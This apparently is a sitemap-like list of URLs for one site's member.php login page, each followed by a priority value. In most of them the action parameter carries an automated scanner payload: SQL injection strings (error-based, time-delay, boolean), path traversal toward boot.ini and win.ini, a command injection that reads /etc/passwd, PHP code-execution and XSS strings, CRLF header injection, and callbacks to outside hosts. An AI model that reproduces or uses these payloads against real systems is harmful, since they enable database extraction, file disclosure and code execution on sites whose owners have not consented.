http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'%22 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login')%20AND%2031=31%20AND%20('aT'='aT 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login')%20AND%2095=55%20AND%20('WO'='WO 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(73=73)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20('Vy'='Vy 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(88=23)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20('jE'='jE 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login';%20IF(66=66)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login';%20IF(81=41)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login) 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login);%20IF(35=67)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login);%20IF(42=42)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=login6633x3X6 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=loginAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=loginJyI%3D 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=loginalert(42873) 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=logine360 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=phpinfo 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?mod=logging&infloat=yes&frommessage=frommessage&action=set%7Cset&set 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=%3Cdir 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=(SELECT%20(CASE%20WHEN%20(11=52)%20THEN%200x6C6F67696E%20ELSE%2011*(SELECT%2011%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=(SELECT%20(CASE%20WHEN%20(17=88)%20THEN%200x6C6F67696E%20ELSE%2017*(SELECT%2017%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=(SELECT%20(CASE%20WHEN%20(25=25)%20THEN%200x6C6F67696E%20ELSE%2025*(SELECT%2025%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=(SELECT%20(CASE%20WHEN%20(44=44)%20THEN%200x6C6F67696E%20ELSE%2044*(SELECT%2044%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=(SELECT%20(CASE%20WHEN%20(45=17)%20THEN%200x6C6F67696E%20ELSE%2045*(SELECT%2045%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=(SELECT%20(CASE%20WHEN%20(72=41)%20THEN%200x6C6F67696E%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=(SELECT%20(CASE%20WHEN%20(87=87)%20THEN%200x6C6F67696E%20ELSE%2087*(SELECT%2087%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=(SELECT%20(CASE%20WHEN%20(95=95)%20THEN%200x6C6F67696E%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=(SELECT%20(CASE%20WHEN%20(99=93)%20THEN%200x6C6F67696E%20ELSE%2099*(SELECT%2099%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=................windowswin.ini 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=ELT(46=21,0x6C6F67696E) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=ELT(46=46,0x6C6F67696E) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=MAKE_SET(28=28,0x6C6F67696E) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=MAKE_SET(87=27,0x6C6F67696E) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=dir 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login 0.0020 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%00' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 